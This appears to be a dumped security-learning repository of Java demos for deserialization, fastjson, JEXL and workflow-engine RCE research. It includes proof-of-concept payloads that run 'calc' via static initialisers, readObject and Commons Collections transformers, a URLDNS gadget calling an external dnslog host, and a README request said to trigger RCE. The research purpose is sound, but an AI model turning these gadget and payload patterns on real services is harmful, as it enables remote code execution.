4 | 5 | 6 | -------------------------------------------------------------------------------- /MemShellDemo/target/classes/com/my/test/TestFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestFilter.class -------------------------------------------------------------------------------- /MemShellDemo/target/classes/com/my/test/TestFilter1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestFilter1.class -------------------------------------------------------------------------------- /MemShellDemo/target/classes/com/my/test/TestHttpServelet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestHttpServelet.class -------------------------------------------------------------------------------- /MemShellDemo/target/classes/com/my/test/TestListener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/TestListener.class -------------------------------------------------------------------------------- /MemShellDemo/target/classes/com/my/test/testServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/classes/com/my/test/testServlet.class -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/MySerialDemo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/src/main/java/Evil.java: -------------------------------------------------------------------------------- 1 | public class Evil { 2 | static { 3 | System.err.println("Pwned"); 4 | try { 5 | String[] cmd = {"calc"}; 6 | java.lang.Runtime.getRuntime().exec(cmd).waitFor(); 7 | } catch ( Exception e ) { 8 | e.printStackTrace(); 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/src/main/java/MySerialDemo.java: -------------------------------------------------------------------------------- 1 | import com.alibaba.fastjson.JSON; 2 | import com.alibaba.fastjson.JSONObject; 3 | 4 | public class MySerialDemo { 5 | public static void main(String[] args) { 6 | String jsonstr = "{\"@type\":\"UserFastJson\",\"password\":\"123456\",\"name\":\"李四\",\"sex\":\"0\"}"; 7 | try { 8 | System.out.println("===============JSON.parse(jsonstr)========================="); 9 | // Object obj1= JSON.parse(jsonstr); 10 | // System.out.println("===============JSON.parseObject(jsonstr)========================="); 11 | JSONObject obj2= JSON.parseObject(jsonstr); 12 | // System.out.println("===============JSON.parseObject(jsonstr,UserFastJson.class)========================="); 13 | // UserFastJson obj3= JSON.parseObject(jsonstr,UserFastJson.class); 14 | // System.out.println(user.getName()); 15 | }catch (Exception e) { 16 | System.out.println(e.getMessage()); 17 | } 18 | 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/src/main/java/TestUser.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | 3 | public class TestUser { 4 | public static void main(String[] args) throws IOException, ClassNotFoundException { 5 | File file = new File("e:/user.txt"); 6 | ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(file)); 7 | outputStream.writeObject(new User("lebron", "123")); 8 | 9 | ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(file)); 10 | User user = (User) inputStream.readObject(); 11 | System.out.println(user.getName() +" : "+ user.getPassword()); 12 | } 13 | 14 | 15 | } 16 | -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/target/classes/Evil.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/Evil.class -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/target/classes/MySerialDemo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/MySerialDemo.class -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/target/classes/TestUser.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/TestUser.class -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/target/classes/User.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/User.class -------------------------------------------------------------------------------- /MySerialDemo/MySerialDemo/target/classes/UserFastJson.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MySerialDemo/MySerialDemo/target/classes/UserFastJson.class -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LearnDemo 2 | All this Demo is used by my blog : moonsec.top 3 | ## 提交方法 4 | fetch("http://127.0.0.1:8088/start-hire-process", { 5 | "headers": { 6 | "content-type": "application/json" 7 | }, 8 | "body": '{"name":"cn","email":"aaa@aaa.com","phoneNumber":"13913887631","id":"111"}', 9 | "method": "POST", 10 | "mode": "cors", 11 | "credentials": "include" 12 | }).then(r=>r.log); 13 | 14 | ![img.png](img.png) 15 | 16 | ## scriptTask RCE 17 | 通过上述的fetch方式触发 RCE 18 | ![img_1.png](img_1.png) 19 | 20 | ## ServiceTask RCE 21 | 通过fetch方式触发RCE 22 | ![img_2.png](img_2.png) 23 | -------------------------------------------------------------------------------- /ReSerial/src/main/java/com/example/reserial/ReSerialApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.reserial; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class ReSerialApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(ReSerialApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /ReSerial/src/main/java/test/DNSTest.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.io.*; 4 | import java.lang.reflect.Field; 5 | import java.net.URL; 6 | import java.util.HashMap; 7 | 8 | public class DNSTest { 9 | public static void main(String[] args) throws Exception { 10 | 11 | // URL url1 = new URL("http://hw54so.dnslog.cn"); 12 | // url1.hashCode(); 13 | 14 | 15 | HashMap hashMap = new HashMap<>(); 16 | URL url = new URL("http://8de0ko.dnslog.cn"); 17 | Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); 18 | f.setAccessible(true); 19 | f.set(url, 0x01010101); 20 | hashMap.put(url, 0); 21 | f.set(url, -1); 22 | 23 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin")); 24 | oos.writeObject(hashMap); 25 | ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin")); 26 | ois.readObject(); 27 | } 28 | } -------------------------------------------------------------------------------- /ReSerial/src/main/java/test/Person.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.io.IOException; 4 | import java.io.Serializable; 5 | 6 | public class Person implements Serializable { 7 | 8 | private String name; 9 | 10 | private int age; 11 | 12 | public Person(String name, int age) { 13 | this.name = name; 14 | this.age = age; 15 | } 16 | 17 | private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException { 18 | Runtime.getRuntime().exec("calc.exe"); 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /ReSerial/src/main/java/test/SerializableTest.java: -------------------------------------------------------------------------------- 1 | package test; 2 | 3 | import java.io.*; 4 | import java.util.HashMap; 5 | 6 | public class SerializableTest { 7 | 8 | public static void main(String[] args) throws IOException, ClassNotFoundException, FileNotFoundException { 9 | 10 | HashMap hsmap = new HashMap(); 11 | 12 | Person person = new Person("zhangsan", 24); 13 | 14 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.txt")); 15 | oos.writeObject(person); 16 | oos.close(); 17 | 18 | 19 | FileInputStream fis = new FileInputStream("abc.txt"); 20 | ObjectInputStream ois = new ObjectInputStream(fis); 21 | ois.readObject(); 22 | ois.close(); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /ReSerial/src/main/java/transform/TransformerTest.java: -------------------------------------------------------------------------------- 1 | package transform; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.MapTransformer; 5 | 6 | import java.io.IOException; 7 | import java.util.HashMap; 8 | 9 | public class TransformerTest { 10 | public static void main(String[] args) throws IOException { 11 | HashMap map = new HashMap<>(); 12 | map.put("key",Runtime.getRuntime()); 13 | Transformer transform = MapTransformer.getInstance(map); 14 | // Runtime runtime = (Runtime) transform.transform("key"); 15 | // runtime.exec("calc"); 16 | ((Runtime) transform.transform("key")).exec("calc"); 17 | System.out.println("finish"); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /ReSerial/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ReSerial/src/test/java/com/example/reserial/ReSerialApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.reserial; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class ReSerialApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /ScriptEngineDemo/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | ScriptEngineDemo 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | 15 | 16 | 17 | 18 | org.javadelight 19 | delight-nashorn-sandbox 20 | 0.2.5 21 | 22 | 23 | javax.json 24 | javax.json-api 25 | 1.0 26 | 27 | 28 | com.alibaba 29 | fastjson 30 | 1.2.24 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /ScriptEngineDemo/target/classes/FirstJavaScript.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ScriptEngineDemo/target/classes/FirstJavaScript.class -------------------------------------------------------------------------------- /ScriptEngineDemo/target/classes/FirstJavaScriptJS.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ScriptEngineDemo/target/classes/FirstJavaScriptJS.class -------------------------------------------------------------------------------- /ThymeleafDemo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /ThymeleafDemo/.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 17 | 18 | -------------------------------------------------------------------------------- /ThymeleafDemo/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ThymeleafDemo/.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /ThymeleafDemo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /ThymeleafDemo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ThymeleafDemo/src/main/java/com/my/DemoApplication.java: -------------------------------------------------------------------------------- 1 | package com.my; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class DemoApplication { 8 | public static void main(String[] args) { 9 | SpringApplication.run(DemoApplication.class, args); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /ThymeleafDemo/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | # 配置端口 2 | server: 3 | port: 9090 4 | #spring: 5 | # mvc: 6 | # view: 7 | # prefix: classpath:/templates/ 8 | # 9 | # suffix: .html 10 | 11 | -------------------------------------------------------------------------------- /ThymeleafDemo/src/main/resources/templates/hello.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Title 7 | 8 | 9 | 10 |

11 | 12 | -------------------------------------------------------------------------------- /ThymeleafDemo/src/main/resources/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

FindIT

5 |
6 |
7 | 8 |
9 | -------------------------------------------------------------------------------- /ThymeleafDemo/target/classes/application.yml: -------------------------------------------------------------------------------- 1 | # 配置端口 2 | server: 3 | port: 9090 4 | #spring: 5 | # mvc: 6 | # view: 7 | # prefix: classpath:/templates/ 8 | # 9 | # suffix: .html 10 | 11 | -------------------------------------------------------------------------------- /ThymeleafDemo/target/classes/com/my/DemoApplication.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ThymeleafDemo/target/classes/com/my/DemoApplication.class -------------------------------------------------------------------------------- /ThymeleafDemo/target/classes/com/my/controller/IndexController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ThymeleafDemo/target/classes/com/my/controller/IndexController.class -------------------------------------------------------------------------------- /ThymeleafDemo/target/classes/templates/hello.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Title 7 | 8 | 9 | 10 |

11 | 12 | -------------------------------------------------------------------------------- /ThymeleafDemo/target/classes/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

FindIT

5 |
6 |
7 | 8 |
9 | -------------------------------------------------------------------------------- /UploadDemo/lib/aopalliance-1.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/aopalliance-1.0.jar -------------------------------------------------------------------------------- /UploadDemo/lib/commons-logging-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/commons-logging-1.2.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-aop-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-aop-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-aspects-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-aspects-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-beans-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-beans-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-context-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-context-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-context-support-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-context-support-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-core-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-core-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-expression-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-expression-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-instrument-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-instrument-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-jdbc-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-jdbc-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-jms-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-jms-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-messaging-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-messaging-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-orm-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-orm-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-oxm-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-oxm-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-test-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-test-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/lib/spring-tx-5.2.3.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/lib/spring-tx-5.2.3.RELEASE.jar -------------------------------------------------------------------------------- /UploadDemo/src/main/java/com/my/upload/service/fileService.java: -------------------------------------------------------------------------------- 1 | package com.my.upload.service; 2 | 3 | public class fileService { 4 | } 5 | -------------------------------------------------------------------------------- /UploadDemo/src/main/webapp/WEB-INF/pages/success.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: Administrator 4 | Date: 2022/7/17 5 | Time: 15:32 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%-- 9 | Created by IntelliJ IDEA. 10 | User: 儒雅 11 | Date: 2021/11/15 12 | Time: 9:24 13 | To change this template use File | Settings | File Templates. 14 | --%> 15 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 16 | 17 | 18 | Title 19 | 20 | 21 |

上传成功

22 | 23 | 24 | -------------------------------------------------------------------------------- /UploadDemo/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | 3 | 4 |

Hello World!

5 |

springmvc文件上传

6 |
7 | 选择文件:
8 | 9 |
10 | 11 | 12 | -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo.war -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: Administrator 4 | Build-Jdk: version 1.8.0_321 5 | 6 | -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/crontroller/fileCrotroller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/crontroller/fileCrotroller.class -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/service/fileService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/classes/com/my/upload/service/fileService.class -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/commons-fileupload-1.3.3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/commons-fileupload-1.3.3.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/commons-io-2.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/commons-io-2.2.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-aop-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-aop-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-beans-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-beans-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-context-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-context-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-core-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-core-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-expression-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-expression-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-jcl-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-jcl-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-web-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-web-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/UploadDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/WEB-INF/pages/success.jsp: -------------------------------------------------------------------------------- 1 | <%-- 2 | Created by IntelliJ IDEA. 3 | User: Administrator 4 | Date: 2022/7/17 5 | Time: 15:32 6 | To change this template use File | Settings | File Templates. 7 | --%> 8 | <%-- 9 | Created by IntelliJ IDEA. 10 | User: 儒雅 11 | Date: 2021/11/15 12 | Time: 9:24 13 | To change this template use File | Settings | File Templates. 14 | --%> 15 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 16 | 17 | 18 | Title 19 | 20 | 21 |

上传成功

22 | 23 | 24 | -------------------------------------------------------------------------------- /UploadDemo/target/UploadDemo/index.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | 3 | 4 |

Hello World!

5 |

springmvc文件上传

6 |
7 | 选择文件:
8 | 9 |
10 | 11 | 12 | -------------------------------------------------------------------------------- /UploadDemo/target/classes/com/my/upload/crontroller/fileCrotroller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/classes/com/my/upload/crontroller/fileCrotroller.class -------------------------------------------------------------------------------- /UploadDemo/target/classes/com/my/upload/service/fileService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/UploadDemo/target/classes/com/my/upload/service/fileService.class -------------------------------------------------------------------------------- /express/jexl/JxelDemo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | JxelDemo 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | 19 | org.apache.commons 20 | commons-jexl3 21 | 3.2.1 22 | 23 | 24 | org.apache.commons 25 | commons-lang3 26 | 3.12.0 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/src/main/java/org/example/DateUtils.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | import java.text.ParseException; 3 | import java.time.LocalDate; 4 | import java.time.LocalDateTime; 5 | import java.time.Period; 6 | import java.time.format.DateTimeFormatter; 7 | import java.util.*; 8 | import org.apache.commons.lang3.time.FastDateFormat; 9 | 10 | public class DateUtils { 11 | public static String dateStrFormatDay(String dateStr, String format) throws ParseException { 12 | FastDateFormat dateFormat = FastDateFormat.getInstance(format); 13 | Date parse = dateFormat.parse(dateStr); 14 | dateFormat=FastDateFormat.getInstance("yyyyMMdd"); 15 | return dateFormat.format(parse); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /express/jexl/JxelDemo/src/main/java/org/example/Main.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import org.apache.commons.jexl3.*; 4 | 5 | import java.util.HashMap; 6 | 7 | public class Main { 8 | public static void main(String[] args) { 9 | 10 | System.out.println("Hello world!"); 11 | JexlEngine jexl = new JexlBuilder().create(); 12 | JexlContext jc = new MapContext(); 13 | // jc.set("runtime", "Runtime.class"); 14 | // String jexlExp = "runtime.getRuntime().exec('calc.exe')"; 15 | // JexlExpression e = jexl.createExpression(jexlExp); 16 | 17 | // HashMap 